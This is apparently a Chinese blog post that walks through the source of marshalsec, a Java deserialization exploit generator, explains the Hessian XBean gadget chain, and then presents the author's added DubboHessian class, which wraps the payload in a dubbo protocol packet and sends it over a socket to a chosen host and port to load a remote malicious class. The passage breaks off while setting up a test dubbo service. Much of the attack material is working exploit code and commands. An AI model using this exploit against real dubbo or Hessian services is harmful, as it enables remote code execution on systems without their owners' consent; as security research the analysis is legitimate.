java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit

0x00 前言

1. 描述

官方github描述:

Java Unmarshaller Security - Turning your data into code execution

“将数据转换为代码执行”,我对其理解就是,在java反序列化时,利用序列化数据造成代码执行攻击。


It's been more than two years since Chris Frohoff and Garbriel Lawrence have presented their research into Java object deserialization vulnerabilities ultimately resulting in what can be readily described as the biggest wave of remote code execution bugs in Java history.

译:
Chris Frohoff和Garbriel Lawrence对Java对象反序列化漏洞的研究已经有两年多了,他们的研究最终导致了Java历史上最大的远程代码执行错误浪潮。

Research into that matter indicated that these vulnerabilities are not exclusive to mechanisms as expressive as Java serialization or XStream, but some could possibly be applied to other mechanisms as well.

译:
对这个问题的研究表明,这些漏洞并不局限于像Java序列化或XStream这样具有表现力的机制,但是一些漏洞也可能适用于其他机制。

This paper presents an analysis, including exploitation details, of various Java open-source marshalling libraries that allow(ed) for unmarshalling of arbitrary, attacker supplied, types and shows that no matter how this process is performed and what implicit constraints are in place it is prone to similar exploitation techniques.

译:
本文对各种Java开放源码编组库进行了分析(包括利用细节),这些编组库允许对任意攻击者提供的类型进行编组,并说明了无论如何执行这个过程以及存在哪些隐含的约束,都很容易出现类似的利用技术。


总而言之,marshalsec就是生成一定编码的数据,在jvm对其进行解码时,执行预置的代码。

2. 使用方法

marshalsec使用:

要求使用java8进行编译,在github把marshalsec项目clone下来后,执行maven指令mvn clean package -DskipTests进行编译,生成可执行jar包使用

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
  • -a:生成exploit下的所有payload(例如:hessian下的SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin)
  • -t:对生成的payloads进行解码测试
  • -v:verbose mode, 展示生成的payloads
  • gadget_type:指定使用的payload
  • arguments – payload运行时使用的参数

3. 目前支持的exploit和payload

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization
various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
Jackson possible JDK only RCE, various third party RCEs
Java yet another third party RCE
JsonIO JDK only RCE
JYAML JDK only RCE
Kryo third party RCEs
KryoAltStrategy JDK only RCE
Red5AMF(0|3) JDK only RCE
SnakeYAML JDK only RCEs
XStream JDK only RCEs
YAMLBeans third party RCE

本章讲述了marshalsec的一些情况以及怎么编译和使用,那么,后面的章节,我将会以我一贯对源码的浅析习惯进行讲解marshalsec的一些原理。


0x01 marshalsec源码浅析

在将源码前,我们先了解一下marshalsec的目录结构:

├── BlazeDSAMF0.java
├── BlazeDSAMF3.java
├── BlazeDSAMF3AM.java
├── BlazeDSAMFX.java
├── BlazeDSBase.java
├── BlazeDSExternalizableBase.java
├── Burlap.java
├── Castor.java
├── DubboHessian.java
├── EscapeType.java
├── Hessian.java
├── Hessian2.java
├── HessianBase.java
├── HessianBase2.java
├── JYAML.java
├── Jackson.java
├── Java.java
├── JsonIO.java
├── Kryo.java
├── KryoAltStrategy.java
├── MarshallerBase.java
├── Red5AMF0.java
├── Red5AMF3.java
├── Red5AMFBase.java
├── SideEffectSecurityManager.java
├── SnakeYAML.java
├── TestingSecurityManager.java
├── UtilFactory.java
├── XStream.java
├── YAMLBase.java
├── YAMLBeans.java
├── gadgets
│   ├── Args.java
│   ├── BindingEnumeration.java
│   ├── C3P0RefDataSource.java
│   ├── C3P0WrapperConnPool.java
│   ├── ClassFiles.java
│   ├── CommonsBeanutils.java
│   ├── CommonsConfiguration.java
│   ├── Gadget.java
│   ├── GadgetType.java
│   ├── Groovy.java
│   ├── ImageIO.java
│   ├── JDKUtil.java
│   ├── JdbcRowSet.java
│   ├── LazySearchEnumeration.java
│   ├── MockProxies.java
│   ├── Primary.java
│   ├── Resin.java
│   ├── ResourceGadget.java
│   ├── Rome.java
│   ├── ScriptEngine.java
│   ├── ServiceLoader.java
│   ├── SpringAbstractBeanFactoryPointcutAdvisor.java
│   ├── SpringPartiallyComparableAdvisorHolder.java
│   ├── SpringPropertyPathFactory.java
│   ├── SpringUtil.java
│   ├── Templates.java
│   ├── TemplatesUtil.java
│   ├── ToStringUtil.java
│   ├── UnicastRefGadget.java
│   ├── UnicastRemoteObjectGadget.java
│   ├── XBean.java
│   └── XBean2.java
├── jndi
│   ├── LDAPRefServer.java
│   └── RMIRefServer.java
└── util└── Reflections.java

目录展示稍微有点长,其中,package根目录下的类文件,都是对gadgets目录下payload进行利用的类文件,如果不太严谨的话,我们可以称之为exploits。可以看到目录下相对于官方原有的多了一些java文件,其中DubboHessian.java、Hessian2.java、HessianBase2.java还有gadgets下的XBean2.java就是我对其进行改造支持attack dubbo-hessian2的一些产物。

我们看看第一章节所说的执行指令:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

其中[-a] [-v] [-t] [<gadget_type> [<arguments…>]]在第一章中也对其进行详细的描述了,我们再来看看marshalsec.<marshaller>,这个参数是什么意思呢?</marshaller></gadget_type>

这个就是我们上面所说的exploits的指定,也就是我们上面展示的目录,根目录下的java文件名,假如我们想要生成hessian的Xbean的payload,我们就只要执行:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ ExecObject

执行之后,就能生成一个攻击Hessian的XBean gadget,后面的http://127.0.0.1:8080/ ExecObject表示的是恶意class所在web资源服务器地址以及其类名。

那么,这个payload的生成牵涉到的源码到底是如何执行的呢?别急,让我慢慢一一给你讲解。

我们跟进Hessian.java这个类文件:

public class Hessian extends HessianBase {/*** {@inheritDoc}** @see marshalsec.AbstractHessianBase#createOutput(java.io.ByteArrayOutputStream)*/@Overrideprotected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) {return new HessianOutput(bos);}/*** {@inheritDoc}** @see marshalsec.AbstractHessianBase#createInput(java.io.ByteArrayInputStream)*/@Overrideprotected AbstractHessianInput createInput ( ByteArrayInputStream bos ) {return new HessianInput(bos);}public static void main ( String[] args ) {new Hessian().run(args);}}

可以看到,其中代码并不多,Hessian这个类继承了HessianBase并重写了createOutput和createInput方法,看方法内容可以发现,分别是生成了Hessian的输出和输入流对象,那么,这两个流对象究竟何用?继续跟进其父类HessianBase看看:

public abstract class HessianBase extends MarshallerBase<byte[]>implements SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin {/*** {@inheritDoc}** @see marshalsec.MarshallerBase#marshal(java.lang.Object)*/@Overridepublic byte[] marshal ( Object o ) throws Exception {ByteArrayOutputStream bos = new ByteArrayOutputStream();AbstractHessianOutput out = createOutput(bos);NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);out.setSerializerFactory(sf);out.writeObject(o);out.close();return bos.toByteArray();}/*** {@inheritDoc}** @see marshalsec.MarshallerBase#unmarshal(java.lang.Object)*/@Overridepublic Object unmarshal ( byte[] data ) throws Exception {System.out.println(Base64.getEncoder().encodeToString(data));ByteArrayInputStream bis = new ByteArrayInputStream(data);AbstractHessianInput in = createInput(bis);return in.readObject();}/*** @param bos* @return*/protected abstract AbstractHessianOutput createOutput ( ByteArrayOutputStream bos );protected abstract AbstractHessianInput createInput ( ByteArrayInputStream bos );public static class NoWriteReplaceSerializerFactory extends SerializerFactory {/*** {@inheritDoc}** @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)*/@Overridepublic Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException {return super.getObjectSerializer(cl);}/*** {@inheritDoc}** @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)*/@Overridepublic Serializer getSerializer ( Class cl ) throws HessianProtocolException {Serializer serializer = super.getSerializer(cl);if ( serializer instanceof WriteReplaceSerializer ) {return UnsafeSerializer.create(cl);}return serializer;}}}

看到这里,就能理解在它的子类Hessian中重写的createOutput和createInput的意义了,原来它们都是HessianObject的抽象方法,其子类Hessian只是对其进行了实现,然后在marshal和unmarshal方法中分别调用生成流对象用于输出序列化数据和反序列化数据

NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);

而这部分代码,对输出流进行了设置,因为我们知道,一般对于对象的序列化,如果对象对应的class没有对java.io.Serializable进行实现implement的话,是没办法序列化的,所以这里对输出流进行了设置,使其可以输出没有实现java.io.Serializable接口的对象

接着,看回marshalsec.Hessian#main

public static void main ( String[] args ) {new Hessian().run(args);
}

我们可以发现,执行了Hessian的run方法,我们对其进行跟入,可以看到是MarshallerBase这个抽象类的一个实现方法,MarshallerBase是所有exploits的父类,为所有exploits提供了run方法用于执行。

protected void run ( String[] args ) {try {boolean test = false;boolean all = false;boolean verbose = false;EscapeType escape = EscapeType.NONE;int argoff = 0;GadgetType type = null;//对-前缀的参数进行解析读取while ( argoff < args.length && args[ argoff ].charAt(0) == '-' ) {if ( args[ argoff ].equals("-t") ) {test = true;argoff++;}else if ( args[ argoff ].equals("-a") ) {all = true;argoff++;}else if ( args[ argoff ].equals("-e") ) {argoff++;escape = EscapeType.valueOf(args[ argoff ]);argoff++;}else if ( args[ argoff ].equals("-v") ) {verbose = true;argoff++;}else {argoff++;}}//...}catch ( Exception e ) {e.printStackTrace(System.err);}
}

这部分代码是对程序参数进行解析读取

protected void run ( String[] args ) {try {//...try {if ( !all && args.length > argoff ) {type = GadgetType.valueOf(args[ argoff ].trim());argoff++;}}catch ( IllegalArgumentException e ) {System.err.println("Unsupported gadget type " + args[ argoff ]);System.exit(-1);}//...}catch ( Exception e ) {e.printStackTrace(System.err);}
}

这部分代码是对payload段参数进行读取解析,若不存在则直接抛出异常,而payload段参数其实就是指令中的XBean

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ ExecObject
protected void run ( String[] args ) {try {//...//指定了-a参数,则执行生成exploits下的所有payloadsif ( all ) {runAll(test, verbose, false, escape);}else {//没有指定-a参数,则只执行生成指定的payload,并把payload使用的参数复制出来传入使用String[] gadgetArgs = new String[args.length - argoff];System.arraycopy(args, argoff, gadgetArgs, 0, args.length - argoff);doRun(type, test, verbose, false, escape, gadgetArgs);}}catch ( Exception e ) {e.printStackTrace(System.err);}
}

这段代码是真正的执行处,前面都是对参数的解析,以及payload生成类的读取

我们跟进runAll:

private void runAll ( boolean test, boolean verbose, boolean throwEx, EscapeType escape ) throws Exception {for ( GadgetType t : this.getSupportedTypes() ) {Method tm = getTargetMethod(t);Args a = tm.getAnnotation(Args.class);if ( a == null ) {throw new Exception("Missing Args in " + t);}if ( a.noTest() ) {continue;}String[] defaultArgs = a.defaultArgs();doRun(t, test, verbose, throwEx, escape, defaultArgs);}
}

可以看到,其实最终还是执行doRun,只不过runAll是遍历当前类所支持的所有gadget,一个一个的去doRun

看getSupportedTypes方法源码:

public GadgetType[] getSupportedTypes () {List<GadgetType> types = new LinkedList<>();for ( GadgetType t : GadgetType.values() ) {if ( t.getClazz().isAssignableFrom(this.getClass()) ) {types.add(t);}}return types.toArray(new GadgetType[types.size()]);
}

清楚的看到,其实该类支持的gadget都是从GadgetType中取出来的,分析一下GadgetType:

public enum GadgetType {UnicastRef(UnicastRefGadget.class),UnicastRemoteObject(UnicastRemoteObjectGadget.class),Groovy(Groovy.class),SpringPropertyPathFactory(SpringPropertyPathFactory.class),SpringPartiallyComparableAdvisorHolder(SpringPartiallyComparableAdvisorHolder.class),SpringAbstractBeanFactoryPointcutAdvisor(SpringAbstractBeanFactoryPointcutAdvisor.class),Rome(Rome.class),XBean(XBean.class),XBean2(XBean2.class),Resin(Resin.class),CommonsConfiguration(CommonsConfiguration.class),LazySearchEnumeration(LazySearchEnumeration.class),BindingEnumeration(BindingEnumeration.class),ServiceLoader(ServiceLoader.class),ImageIO(ImageIO.class),CommonsBeanutils(CommonsBeanutils.class),C3P0WrapperConnPool(C3P0WrapperConnPool.class),C3P0RefDataSource(C3P0RefDataSource.class),JdbcRowSet(JdbcRowSet.class),ScriptEngine(ScriptEngine.class),Templates(Templates.class),ResourceGadget(ResourceGadget.class),//;private Class<? extends Gadget> clazz;private GadgetType ( Class<? extends Gadget> clazz ) {this.clazz = clazz;}/*** @return the clazz*/public Class<? extends Gadget> getClazz () {return this.clazz;}
}

看出来了,就是个枚举类,那么前面遍历添加的时候执行的t.getClazz().isAssignableFrom(this.getClass())到底是根据什么去判断的呢,其实我们看回去上面,可以发现一个继承关系Hessian->HessianBase->MarshallerBase,而MarshallerBase是所有exploits的基类,而细心一点的读者,其实就已经发现了,其实在HessianBase这个类定义的地方可以看到,它实现了一些老接口,这部分接口其实就是它所支持的gadget,因此这里的判断就会成立,从而添加进来,以继续后续的doRun

public abstract class HessianBase extends MarshallerBase<byte[]>
implements 
SpringPartiallyComparableAdvisorHolder,SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin

可以看到Hessian支持SpringPartiallyComparableAdvisorHolder,SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin这几个gadget

跟进doRun:

private void doRun ( GadgetType type, boolean test, boolean verbose, boolean throwEx, EscapeType escape, String[] gadgetArgs )throws Exception, IOException {T marshal;try {System.setSecurityManager(new SideEffectSecurityManager());Object o = createObject(type, expandArguments(gadgetArgs));if ( o instanceof byte[] || o instanceof String ) {// already marshalled by delegate@SuppressWarnings ( "unchecked" )T alreadyMarshalled = (T) o;marshal = alreadyMarshalled;}else {marshal = marshal(o);}}finally {System.setSecurityManager(null);}if ( !test || verbose ) {System.err.println();writeOutput(marshal, escape);}if ( test ) {System.err.println();System.err.println("Running gadget " + type + ":");test(marshal, throwEx);}
}

可以看到在这个方法中,依次做了以下事情:

  1. 设置安全管理器

System.setSecurityManager(new SideEffectSecurityManager());

为什么这样做呢?其实是用来对权限的检查,在做特点权限事情的时候,进行抛异常,我的理解应该是以防payload生成的时候被触发了,然后本地执行了指令等等,会让我们误解是攻击成功等等…

  1. 创建payload对象

Object o = createObject(type, expandArguments(gadgetArgs));

protected Object createObject ( GadgetType t, String[] args ) throws Exception {Method m = getTargetMethod(t);if ( !t.getClazz().isAssignableFrom(this.getClass()) ) {throw new Exception("Gadget not supported for this marshaller");}Args a = m.getAnnotation(Args.class);if ( a != null ) {if ( args.length < a.minArgs() ) {throw new Exception(String.format("Gadget %s requires %d arguments: %s", t, a.minArgs(), a.args() != null ? Arrays.toString(a.args()) : ""));}}return m.invoke(this, new Object[] {this, args});
}

可以看到获取gadget对应的生成方法,然后读取其注解中预置的缺省参数,如果我们程序参数没对其进行输入的话,就使用这个注解预置的参数。

public Method getTargetMethod ( GadgetType t ) throws Exception {Method[] methods = t.getClazz().getMethods();Method m = null;if ( methods.length != 1 ) {for ( Method cand : methods ) {if ( cand.getAnnotation(Primary.class) != null ) {m = cand;break;}}if ( m == null ) {throw new Exception("Gadget interface contains no or multiple methods");}}else {m = methods[ 0 ];}return this.getClass().getMethod(m.getName(), m.getParameterTypes());
}

而getTargetMethod就是对类方法进行遍历,找到其中注解了Primary的方法为止,若不存在则取第一个方法,最终找到生成payload的gadget方法

  1. 对payload对象进行序列化

marshal = marshal(o);

这个就是我们前面所描述的HessianBase重写的方法了

  1. 输出payload

若在程序执行参数指定了-v,那么就会执行相关逻辑代码,对其序列化数据进行控制台输出

if ( !test || verbose ) {System.err.println();writeOutput(marshal, escape);
}
  1. 反序列化测试

若在程序执行参数指定了-t,那么就会执行相关逻辑代码,对序列化数据进行反序列化,判断其是否触发RCE

if ( test ) {System.err.println();System.err.println("Running gadget " + type + ":");test(marshal, throwEx);
}
protected void test ( T marshal, boolean throwEx ) throws Exception {Throwable ex = null;TestingSecurityManager s = new TestingSecurityManager();try {System.setSecurityManager(s);unmarshal(marshal);}catch ( Exception e ) {ex = extractInnermost(e);}finally {System.setSecurityManager(null);}try {s.assertRCE();}catch ( Exception e ) {System.err.println("Failed to achieve RCE:" + e.getMessage());if ( ex != null ) {ex.printStackTrace(System.err);}if ( throwEx ) {if ( ex instanceof Exception ) {throw (Exception) ex;}throw e;}}
}

可以看到,通过TestingSecurityManager对其反序列化进行检测,然后最后在s.assertRCE();处进行断言检测是否触发了RCE

到这里,对marshalsec的骨架代码浅析已经完成,下一章节将讲解hessian的poc原理。


0x02 hessian payload原理浅析

在这一章节,将以Hessian的XBean这个gadget生成的payload在反序列化时触发的原理进行讲解。

在上一章,我们对marshalsec的骨架代码进行了一定的分析,其中在marshalsec.MarshallerBase#doRun方法执行时,调用了marshalsec.MarshallerBase#createObject执行了XBean这个gadget的payload的生成。

其中marshalsec.MarshallerBase#createObject调用了marshalsec.MarshallerBase#getTargetMethod,而marshalsec.MarshallerBase#getTargetMethod遍历了XBean这个接口类的默认方法,因为其中没有被Primary注解的默认方法,因此选择了第一个方法:

public interface XBean extends Gadget {@Args ( minArgs = 2, args = {"codebase", "classname"}, defaultArgs = {MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass} )default Object makeXBean ( UtilFactory uf, String[] args ) throws Exception {Context ctx = Reflections.createWithoutConstructor(WritableContext.class);Reference ref = new Reference("foo", args[ 1 ], args[ 0 ]);ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$}}

marshalsec.MarshallerBase:

@Override
public Object makeToStringTriggerUnstable ( Object obj ) throws Exception {return ToStringUtil.makeSpringAOPToStringTrigger(obj);
}

ToStringUtil:

public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception {return makeToStringTrigger(o, x -> {return new HotSwappableTargetSource(x);});
}public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {String unhash = unhash(o.hashCode());XString xString = new XString(unhash);return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}

JDKUtil:

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);return s;
}

以上就是XBean这个gadget所涉及的一些类,最终我们可以看到,其利用的是HashMap在反序列化时put数据从而触发gadget的执行

几个重点:

  • 在JDKUtil.makeMap中对HashMap进行反射设置数据进去,是为了避免执行put方法触发gadget
  • 在JDKUtil.makeMap中可以看到table这个字段设置的数组,存有两个元素,不过两个元素的hashCode是一样的,v1是HotSwappableTargetSource包装过的payload,v2是HotSwappableTargetSource包装的XString对象,而XString对象包装的也是payload
  • hessian反序列化HashMap时,因为会两次put同样hashCode的元素,从而触发key这个元素的equal方法

执行栈流程:

getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:538, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
public class HotSwappableTargetSource implements TargetSource, Serializable {//...public boolean equals(Object other) {return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);}//...
}
public class XString extends XObject implements XMLString
{//...public boolean equals(Object obj2){if (null == obj2)return false;// In order to handle the 'all' semantics of// nodeset comparisons, we always call the// nodeset function.else if (obj2 instanceof XNodeSet)return obj2.equals(this);else if(obj2 instanceof XNumber)return obj2.equals(this);elsereturn str().equals(obj2.toString());}//...
}
public class Binding extends NameClassPair {/...public String toString() {return super.toString() + ":" + getObject();}/...
}
public static final class ReadOnlyBinding extends Binding {public Object getObject() {try {return ContextUtil.resolve(this.value, this.getName(), (Name)null, this.context);} catch (NamingException var2) {throw new RuntimeException(var2);}}
}
public final class ContextUtil {public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {if (!(value instanceof Reference)) {return value;} else {Reference reference = (Reference)value;if (reference instanceof SimpleReference) {try {return ((SimpleReference)reference).getContent();} catch (NamingException var6) {throw var6;} catch (Exception var7) {throw (NamingException)(new NamingException("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var7);}} else {try {if (parsedName == null) {parsedName = NAME_PARSER.parse(stringName);}return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());} catch (NamingException var8) {throw var8;} catch (Exception var9) {throw (NamingException)(new NamingException("Could not look up : " + stringName == null ? parsedName.toString() : stringName)).initCause(var9);}}}}
}
  1. Hessian反序列化HashMap
  2. put反序列化的两个对象元素(HotSwappableTargetSource)至反序列化的HashMap,因为两个对象元素hashCode一致,所以执行其equals方法
  3. 其中一个对象元素是XString,XString的equals方法会执行其封装的对象ReadOnlyBinding的toString方法
  4. ReadOnlyBinding包装的对象是Reference引用对象,引用一个远程恶意class,当ReadOnlyBinding执行toString方法时,在其方法内会调用其getObject,从而加载远程恶意class执行

0x03 dubbo-hessian2 exploit骨架加入

上一章,我们简单的讲解了XBean这个gadget的触发原理,那么,这一章,我将会讲解如何在marshalsec里面加入dubbo的exploit。如果读过我写的《dubbo源码浅析-默认反序列化利用之hessian2》朋友,就会知道dubbo默认是使用了hessian2作为序列化和反序列化的工具,如果没看过的朋友,我希望你看到这里的时候可以花一丢丢时间去看看。

首先,我们如果要攻击一个dubbo服务,前提我们是得先找到这个dubbo服务的host和port,那么,我们加入这个dubbo-hessian2的exploit骨架,就得考虑参数化这些动态数据。

HessianBase

因为我们将要做的exploit只是加入XBean这个gadget的利用,所以,我们就不能继续沿用HessianBase了,因此,创建一个新的类HessianBase2,实现XBean接口,其余的代码和HessianBase保持一致

public abstract class HessianBase2 extends MarshallerBase<byte[]>implements XBean {/*** {@inheritDoc}** @see MarshallerBase#marshal(Object)*/@Overridepublic byte[] marshal ( Object o ) throws Exception {ByteArrayOutputStream bos = new ByteArrayOutputStream();AbstractHessianOutput out = createOutput(bos);NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();sf.setAllowNonSerializable(true);out.setSerializerFactory(sf);out.writeObject(o);out.close();return bos.toByteArray();}/*** {@inheritDoc}** @see MarshallerBase#unmarshal(Object)*/@Overridepublic Object unmarshal ( byte[] data ) throws Exception {ByteArrayInputStream bis = new ByteArrayInputStream(data);AbstractHessianInput in = createInput(bis);return in.readObject();}/*** @param bos* @return*/protected abstract AbstractHessianOutput createOutput ( ByteArrayOutputStream bos );protected abstract AbstractHessianInput createInput ( ByteArrayInputStream bos );public static class NoWriteReplaceSerializerFactory extends SerializerFactory {/*** {@inheritDoc}** @see SerializerFactory#getObjectSerializer(Class)*/@Overridepublic Serializer getObjectSerializer ( Class<?> cl ) throws HessianProtocolException {return super.getObjectSerializer(cl);}/*** {@inheritDoc}** @see SerializerFactory#getSerializer(Class)*/@Overridepublic Serializer getSerializer ( Class cl ) throws HessianProtocolException {Serializer serializer = super.getSerializer(cl);if ( serializer instanceof WriteReplaceSerializer ) {return UnsafeSerializer.create(cl);}return serializer;}}}

Hessian2

因为Hessian中的两个流创建方法,返回的流对象都是hessian相关的,而不是hessian2的,因此,我们这里新添加一个类Hessian2,实现HessianBase2,用于重写输出输入流创建方法,用于创建hessian2流对象

public class Hessian2 extends HessianBase2 {/*** {@inheritDoc}** @see marshalsec.AbstractHessianBase#createOutput(ByteArrayOutputStream)*/@Overrideprotected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) {return new Hessian2Output(bos);}/*** {@inheritDoc}** @see marshalsec.AbstractHessianBase#createInput(ByteArrayInputStream)*/@Overrideprotected AbstractHessianInput createInput ( ByteArrayInputStream bos ) {return new Hessian2Input(bos);}public static void main ( String[] args ) {new Hessian2().run(args);}}

DubboHessian

在根目录加入dubbo-hessian2的exploit入口类

public class DubboHessian extends Hessian2 {private String host;private int port;public DubboHessian(String[] args) {int argoff = 0;while (argoff < args.length && args[argoff].charAt(0) == '-') {if (args[argoff].equals("--attack")) {argoff++;host = args[argoff++];port = Integer.parseInt(args[argoff++]);} else {argoff++;}}}private void attack(byte[] bytes) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();// header.byte[] header = new byte[16];// set magic number.Bytes.short2bytes((short) 0xdabb, header);// set request and serialization flag.header[2] = (byte) ((byte) 0x80 | 2);// set request id.Bytes.long2bytes(new Random().nextInt(100000000), header, 4);ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);Hessian2ObjectOutput out3 = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream3);out.writeUTF("2.0.2");//todo 此处填写注册中心获取到的service全限定名、版本号、方法名out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
//    out.writeUTF("com.threedr3am.learn.dubbo.DemoService");out.writeUTF("1.0");out.writeUTF("hello");//todo 方法描述不需要修改,因为此处需要指定map的payload去触发out.writeUTF("Ljava/util/Map;");out.flushBuffer();if (out instanceof Cleanable) {((Cleanable) out).cleanup();}hessian2ByteArrayOutputStream2.write(bytes);
//    out.writeObject(o);out3.writeObject(new HashMap());out3.flushBuffer();if (out3 instanceof Cleanable) {((Cleanable) out3).cleanup();}Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size() + hessian2ByteArrayOutputStream3.size(), header, 12);byteArrayOutputStream.write(header);byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());byte[] poc = byteArrayOutputStream.toByteArray();//todo 此处填写被攻击的dubbo服务提供者地址和端口Socket socket = new Socket(host, port);OutputStream outputStream = socket.getOutputStream();outputStream.write(poc);outputStream.flush();outputStream.close();}@Overridepublic byte[] marshal(Object o) throws Exception {byte[] bytes = super.marshal(o);attack(bytes);return bytes;}public static void main(String[] args) {new DubboHessian(args).run(args);}}

这个类,有几处关键地方:

  1. 构造方法处对参数–attack进行处理,读取其后的两个参数,作为dubbo靶机服务的host和port
  2. 重写marshal方法,在其中执行父类marshal方法生成序列化数据后,使用其数据执行attack方法对dubbo服务进行攻击
  3. attack方法中与dubbo服务进行了tcp连接,然后把序列化数据组织成dubbo协议数据包发送出去

因为在构造方法对参数–attack和其后紧跟着的两个参数进行了解析读取,那么,在原有的参数解析处marshalsec.MarshallerBase#run,就需要跳过这几个参数

{/*** @param args*/protected void run ( String[] args ) {try {//...while ( argoff < args.length && args[ argoff ].charAt(0) == '-' ) {//...else if (args[ argoff ].equals("--attack")) {argoff+=3;}//...}//...}catch ( Exception e ) {e.printStackTrace(System.err);}}}

并且因为权限检查的问题,会导致无法建立网络连接,因此对权限检查的地方进行了一点小修改:

marshalsec.MarshallerBase#doRun

{private void doRun ( GadgetType type, boolean test, boolean verbose, boolean throwEx, EscapeType escape, String[] gadgetArgs )throws Exception, IOException {T marshal;try {if (test) {System.setSecurityManager(new SideEffectSecurityManager());}//...}finally {System.setSecurityManager(null);}//...}
}

此处修改可能不太优雅,后续有待进行优化。


0x04 hessian->hessian2 payload测试

最后,在加入了dubbo-hessian2的exploit骨架之后,先对我们加入的XBean gadget进行测试

1. 启动dubbo服务demo

启动一个dubbo协议,端口为20881的dubbo服务,此处我使用的是dubbo-2.6.3进行测试

maven依赖

<properties><spring.version>4.3.5.RELEASE</spring.version>
</properties><dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>${spring.version}</version>
</dependency>
<dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>${spring.version}</version>
</dependency>
<dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>${spring.version}</version>
</dependency>
<dependency><groupId>org.springframework</groupId><artifactId>spring-beans</artifactId><version>${spring.version}</version>
</dependency><dependency><groupId>com.alibaba</groupId><artifactId>dubbo</artifactId><version>2.6.3</version><exclusions><exclusion><artifactId>commons-logging</artifactId><groupId>commons-logging</groupId></exclusion><exclusion><artifactId>spring</artifactId><groupId>org.springframework</groupId></exclusion><exclusion><artifactId>spring-context</artifactId><groupId>org.springframework</groupId></exclusion></exclusions>
</dependency>
<dependency><groupId>org.apache.zookeeper</groupId><artifactId>zookeeper</artifactId><version>3.4.13</version>
</dependency>
<dependency><groupId>org.apache.curator</groupId><artifactId>curator-recipes</artifactId><version>4.2.0</version><exclusions><exclusion><artifactId>zookeeper</artifactId><groupId>org.apache.zookeeper</groupId></exclusion></exclusions>
</dependency><dependency><groupId>org.apache.xbean</groupId><artifactId>xbean-naming</artifactId><version>4.15</version>
</dependency>

service

public interface DemoService {String hello();
}
public class DemoServiceImpl implements DemoService {public String hello() {return "hello!";}
}

xml配置

<?xml version="1.0" encoding="UTF-8"?>
